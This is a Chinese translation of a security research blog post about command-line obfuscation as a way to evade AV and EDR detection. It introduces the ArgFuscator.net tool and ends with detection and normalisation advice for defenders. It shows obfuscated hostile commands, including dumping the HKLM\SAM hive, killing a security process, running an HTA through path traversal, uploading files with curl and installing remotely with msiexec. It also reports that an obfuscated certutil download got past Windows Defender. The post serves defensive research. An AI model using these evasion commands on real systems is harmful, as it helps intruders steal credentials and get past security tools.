EDR ❤️ 命令行参数
命令行参数很奇怪,我在之前的帖子中已经讨论过 [https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation]。作为计算中的一个关键概念,程序在启动新进程时会获得一些初始输入,它也是识别恶意行为的主要来源: AV和EDR等防御软件会分析所有进程的命令行,以查找可能的威胁行为者活动。
这可能会让一些人感到惊讶,因为计算机防御传统上侧重于识别恶意可执行文件:历史上是通过恶意软件签名,后来借助恶意软件启发式方法。
从 2025 年起,这种方法已不再适用。五年多前开始出现的持续趋势表明,所谓的“无恶意软件入侵”激增 [ 3 ]。这被定义为没有恶意二进制文件参与的成功入侵。相反,威胁行为者在此类攻击中诉诸:
-
系统原生脚本语言,例如 Windows 上的 PowerShell 或 Linux 和 macOS 上的 bash;
-
系统原生可执行文件,也称为Living-of-the-Land 二进制文件或 LOLBIN [ 4 ];以及
-
合法/受信任的第三方可执行文件,例如 TeamViewer 和 AnyDesk 等远程管理和监控软件。
2024 年,网络安全公司 CrowdStrike 观察到的每 4 起入侵事件中,有超过 3 起完全没有恶意软件 [ 5 ]。从攻击者的角度来看,这种转变很容易解释:既然其他值得信赖的工具可以实现同样的功能,为什么还要花钱编写复杂的恶意软件呢?这通常不需要太多技能;也许最重要的是,被发现的几率也可能更低,因为区分合法使用和恶意使用可能很困难。
例如taskkill,在 Windows 或kill Linux 和 macOS 上。这个合法且受信任的可执行文件旨在终止正在运行的进程,几乎所有操作系统版本中都存在,并且其文件哈希不太可能被防御软件阻止。因此,通过此系统原生实用程序终止进程时被检测到的风险低于通过恶意软件二进制文件终止进程时被检测到的风险,因为后者更有可能触发警报:毕竟,未知/低流行度的程序调用系统调用来终止其他(系统)进程本身就很可疑。相反,前者可能与该工具的良性使用更好地融合在一起。
针对这一问题,安全解决方案越来越关注程序的行为是良性的还是恶意的。虽然有很多方法可以实现这一点,但一种简单、容易实现的方法是分析命令行参数以了解程序执行的意图。最终,命令行在评估这一点方面非常有价值:例如,与[ taskkill /f /im winword.exe ]相比,它的风险状况非常不同。taskkill /f /im security_process.exe
威胁行为者 🥸 命令行参数
为了应对这种情况,据观察威胁行为者通过调整所使用的命令行参数来避免此类命令行检测。这种技术被称为命令行混淆,它试图伪装命令的真实意图,最终目的是绕过威胁检测或误导分析师。
命令行混淆不同于其他类型的命令混淆(例如 DOS 混淆或 PowerShell 混淆 ),因为它不依赖于 shell:目标可执行文件是易受攻击的,因此进程创建发生在什么上下文中并不重要。因此,另一个关键区别是,混淆的命令行会完全混淆地传递给EDR,而例如启动新进程的 DOS 混淆技术通常会产生解析的、未混淆的命令行。
屏幕截图显示 DOSfuscation 成功混淆了一条命令,但最终的执行结果在 ProcMon [ 24certutil ]中以未混淆的形式显示出来。
这意味着,与其他类型的混淆不同,命令行混淆在绕过防御措施方面可能具有更高的成功率。命令行混淆可以采用多种形式;有时,技术是单独应用的,而其他时候,多种技术是组合使用的。为了使命令行混淆的概念变得生动,请考虑以下示例:
Windows
在之前的一篇博客文章中,我列出了可在 Windows 上实现此目的的各种技术,包括:
-
选项字符替换:taskkill -f -im ccSvcHst.exe代替taskkill /f /im ccSvcHst.exe,绕过例如[ 6 ],
-
字符替换:reg eˣport HKLMSAM out.reg,绕过例如 [ 11 ],
-
字符插入:reg sa⚽ve HKLMSAM out.reg,绕过例如[ 12 ],
-
插入引号:reg "s"a"v"e H"KL"MS"AM" out.reg,绕过例如 [ 13 ];以及,
-
字符删除:powershell -en …而不是powershell -encodedcommand …,绕过。
-
其他技术包括:
-
值转换:ping 2130706433而不是ping 127.0.0.1,绕过,
-
路径遍历:mshta c:windowssystem32..tempevil.hta,绕过;并且,
-
URL 操纵:msiexec https:\example.org/install.msi不要使用https://,而要绕过。
屏幕截图演示了命令行混淆certutil在 ProcMon 中以混淆形式显示,与 DOSfuscation 不同。
Linux 和 macOS
尽管不如 Windows 那么“狂野”,但基于 *nix 的操作系统提供了自己的类型混淆机会:
-
字符删除:curl --upload-f file.txt example.org而不是--upload-file,绕过,
-
选项重新排序/填充:bash -lc …代替bash -c …或bash -c -l …,绕过,
-
选项分隔符插入:wget -O - example.org而不是wget -O- example.org,绕过,
-
选项分隔符删除:osascript -e"log 'hi'"而不是osascript -e "log 'hi'",绕过
-
价值转换:wget https://0177.0.0.0x1而不是wget https://127.0.0.1,绕过。
识别命令行混淆机会
上述示例表明,许多可执行文件都容易受到命令行混淆的攻击。但是,可执行文件是否容易受到攻击以及受到哪种特定混淆技术的攻击因可执行文件而异。特别是在 Windows 上,先前的研究 [ 23 ] 试图阐明某些可执行文件表现出某些行为的原因;以微软一贯的作风,这大部分似乎归因于保持可执行文件在 Windows 和 Windows API 的更改之间向后兼容。话虽如此,根据我自己的测试,命令行混淆技术在不同的 Windows 程序中的应用方式似乎并不一致。
因此,为了全面了解命令行混淆所带来的问题,我们对其他可执行文件进行了测试,看它们是否容易受到上述混淆技术的干扰。
首先,选择一个应用程序进行调查。在本研究中,我们决定重点研究 LOLBAS 项目和 Atomic Red Team 中发现的常用 Windows 11 LOLBIN,从而得到一个包含 68 个 Windows 可执行文件的列表。下一步是调查它们对之前确定的不同类型的命令行混淆的敏感性。由于其中很大一部分可以自动化,因此使用了 Python 模块analyse_obfuscation:它并行运行给定的命令行数千次,并应用各种混淆选项,验证退出代码和标准输出上的输出是否与原始版本相同。该模块提供文本输出,其中包含被视为同义词的找到的命令行。
根据这些观察,构建了一个模型文件来定义可用的混淆选项、它们的应用顺序以及它们影响的命令行参数类型。例如,上一步可能已确定是reg eˣport HKLMSAM example.reg有效命令;但是,这并不意味着任何x 都可以被 ˣ 替换。例如,reg export HKLMSAM eˣample.reg将创建一个名为eˣample.reg(即保留 unicode 字符)而不是 的文件example.reg,因此不是同义词。因此,我们的模型文件指定字符替换可用,但应仅应用于常规命令行参数,而不应用于文件路径或 URL。
{"tokens": [{"command": "reg"}, {"argument": "export"}, {"reg_path": "HKLM\SAM"}, {"file_path": "example.reg"}],"modifiers": {"CharacterSubstitution": {"Mapping": {"a": "ᵃ", "b": "ᵇ", "c": "ᶜ", "d": "ᵈ", "e": "ᵉ", "f": "ᶠ", "g": "ᵍ", "h": "ʰ", "j": "ʲ", "k": "ᵏ", "l": "ˡ", "m": "ᵐ", "n": "ⁿ", "o": "ᵒ", "p": "ᵖ", "r": "ʳ", "s": "ˢ", "t": "ᵗ", "u": "ᵘ", "v": "ⱽ", "w": "ʷ", "x": "ˣ", "y": "ʸ", "z": "ᶻ"},"AppliesTo": ["argument"] },"RandomCase": {"AppliesTo": ["argument", "file_path", "command"] },"OptionCharacterSubstitution": {"OptionChars": ["-", "/", "ufe63"],"AppliesTo": ["argument"] },"CharacterInsertion": {"Characters": ["u00ad", "u034f", "u0378", …],"AppliesTo": ["argument"] },"QuoteInsertion": {"AppliesTo": ["argument", "file_path", "url"] } }}
所用模型文件的简化版本,采用 JSON 格式。
从上例中可以看出,模型文件首先(参见tokens)指定命令行参数的标记版本并为其分配适当的类型。然后(参见modifiers)定义所有命令行混淆选项及其所有相关参数,包括它们适用于哪些命令行参数类型。
第四步是测试此定义的模型现在是否准确表示了可用的命令行混淆选项。为此,模型文件用于生成混淆的命令行。更有趣的是,通过以一定概率顺序应用指定的修饰符,可以同时应用多种混淆技术。因此,给定的示例模型文件可能导致reg eˣPOʳT HK"L"MSA"M" EX"a"m"PLE.reg"、、等等Reg ᵉᷯxpꬽᵒR൚ꭂT HKL"MS"AM ExaMPle.rEG。rEg ᵉꮘXpOʳꞘᵗ HK"L"MSAM eX"amPLe.R"eG
reg.exe在 Windows 11 机器上运行的三个描述的混淆示例的屏幕截图。
虽然这可以手动完成,但机器可读的模型文件也允许我们自动完成。出于本研究的目的,我们编写了Invoke-ArgFuscation:一个跨平台的 PowerShell 模块,它获取模型文件并根据提供的定义生成混淆的命令行参数。应用每个步骤的概率可以在模型文件本身中控制,这意味着每次的输出很可能都不同。将Invoke-ArgFuscator包装在最少的 PowerShell 代码中允许执行生成的命令行,以及验证退出代码和标准输出。任何生成意外输出的命令行都应进行评估,并且可能会导致对生成它的模型文件进行调整。如果经过大量生成后输出始终符合预期(在本研究中,使用了 n=1000),则该模型文件被视为对现实的准确表示,从而产生我们追求的抽象。
Invoke-ArgFuscator运行的屏幕截图,生成了 20 个混淆版本的reg.exe命令。
发现:一个新平台,ArgFuscator.net 🚀
将此方法应用于68个Windows可执行文件后,得到了相同数量的模型文件,这些文件已针对Windows 11 23H2进行了验证。所涉及的可执行文件包括addinutil、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、(和)、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、和。adfindarpaspnet_compileratauditpolbcdeditbitsadmincaclscertreqcertutilciphercmdkeycmstpcsccscriptcurldismdriverqueryexpandextrac32findstrfltmcforfilesfsutilftpicaclsipconfigjscmakecabmsbuildmsiexecnbtstatnetnet1netshnetstatnltestnslookuppingpnputilpowershellpwshprocdumppsexecqueryregregeditregsvr32robocopyrouterpcpingrunasscschtaskssecedittakeowntartaskkilltasklistvaultcmdvbcw32tmwevtutilwherewhoamiwingetwmicwscriptxcopy
随着ArgFuscator.net的推出,所有结果现在都可供对命令行混淆感兴趣的人访问。对于防御者来说,这是一个丰富的资源,概述了编写检测内容时需要注意的命令行混淆选项。作为本研究的一部分评估的每个可执行文件都有自己的专用页面,其中指定了命令行混淆的类型及其参数。
该项目并不止于此:它还提供了使用本研究结果来混淆用户给定命令行的选项。对于 68 个受支持的可执行文件中的任何一个,只需粘贴想要混淆的命令并单击“应用混淆”即可生成一个同义的命令行,根据我们的研究,该命令行也可以正常工作。该网站附带一个高级编辑器,允许用户禁用某些混淆类型,更改应用技术的概率,甚至编写自己的模型文件。
一段视频演示了certutil.exe尝试下载文件的命令如何被 Windows Defender 阻止,但在使用ArgFuscator.net进行混淆后,该命令便可以正常运行。
正如上面的视频所示,它为防御安全人员提供了一个机会,通过实际的例子来测试他们的检测和防御机制的弹性。
该项目完全开源,网站本身托管在 GitHub 上。尽管所有处理都完全在浏览器中进行(混淆引擎是用 TypeScript 编写的),并且不会记录任何输入,但可以部署自托管实例或利用前面提到的 Invoke-ArgFuscator 离线混淆命令行参数。另请注意,由于本研究重点是 Windows,因此尚未在平台上添加对 Linux 和 macOS 命令的支持 - 这是今年晚些时候的路线图。
预防和检测
尽管许多可执行文件都具有大量混淆选项,但检测滥用并不难。
例如,一条查找包含 Unicode 范围内高位字符的命令行参数的检测规则可能就是所有可执行文件中字符插入/替换混淆技术的万能药。在许多环境中,这种情况可能很少见,特别是如果你将感兴趣的进程限制在本研究中包含的进程时。另一个示例是在命令行上识别异常,例如检测到大量引号[ 25 ]或大小写字符的大量变化。此外,作为一般建议,编写弹性检测是一种很好的做法:定义检测逻辑,以便即使在应用混淆时也能检测感兴趣的关键字。使用 launch 或 ArgFuscator,防御者拥有一个强大的工具,可以指定在编写检测时应该注意的混淆类型。
从检测管道的角度来看,在根据检测逻辑评估命令行参数之前,对其进行规范化也是值得的。例如,Windows Defender for Endpoint 提供了一项解析进程命令行的功能,有效地消除了可能妨碍关键字检测的任何双引号。甚至可能值得标记解析版本与未解析版本有很大差异的命令行。
最后,一个关键建议是尽可能避免依赖命令行参数。为避免疑问:编写针对命令行参数的检测没有错,因为它将成功识别大量潜在的恶意行为。但是,正如这项研究和其他研究表明的那样,命令行可以被欺骗、更改或以其他方式操纵,从而可以绕过检测。在可能的情况下,更可靠的替代方案是关注EDR遥测中存在的其他不易被欺骗的事件;例如,不要在命令行上查找msiexec.exe指定https://,而是考虑查找源自的外部网络连接msiexec。
原文始发于微信公众号(Ots安全):使用命令行混淆绕过检测
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论